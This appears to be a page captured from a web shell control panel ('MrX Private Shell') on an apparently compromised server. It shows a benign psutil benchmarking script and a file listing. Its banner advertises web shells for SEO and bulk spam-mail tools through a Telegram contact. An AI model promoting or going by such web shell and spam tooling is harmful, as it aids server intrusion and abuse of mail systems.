__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
#!/usr/bin/env python3

# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.

"""Same as bench_oneshot.py but uses perf module instead, which is
supposed to be more precise.
"""

import sys

import pyperf  # requires "pip install pyperf"
from bench_oneshot import names

import psutil


p = psutil.Process()
funs = [getattr(p, n) for n in names]


def call_normal():
    for fun in funs:
        fun()


def call_oneshot():
    with p.oneshot():
        for fun in funs:
            fun()


def add_cmdline_args(cmd, args):
    cmd.append(args.benchmark)


def main():
    runner = pyperf.Runner()

    args = runner.parse_args()
    if not args.worker:
        print(
            "%s methods involved on platform %r (psutil %s):"
            % (len(names), sys.platform, psutil.__version__)
        )
        for name in sorted(names):
            print("    " + name)

    runner.bench_func("normal", call_normal)
    runner.bench_func("oneshot", call_oneshot)


main()

Filemanager

Name Type Size Permission Actions
README File 105 B 0644
appveyor_run_with_compiler.cmd File 3.29 KB 0644
bench_oneshot.py File 3.26 KB 0755
bench_oneshot_2.py File 1.06 KB 0755
check_broken_links.py File 7.85 KB 0755
clinter.py File 2.26 KB 0755
convert_readme.py File 1.46 KB 0755
download_wheels_appveyor.py File 3.49 KB 0755
download_wheels_github.py File 2.95 KB 0755
generate_manifest.py File 884 B 0755
git_pre_commit.py File 4.54 KB 0755
print_access_denied.py File 3.21 KB 0755
print_announce.py File 3.22 KB 0755
print_api_speed.py File 6.56 KB 0755
print_dist.py File 3.58 KB 0755
print_downloads.py File 3.98 KB 0755
print_hashes.py File 1.1 KB 0755
print_timeline.py File 1.39 KB 0755
purge_installation.py File 1 KB 0755
winmake.py File 17.05 KB 0755
Filemanager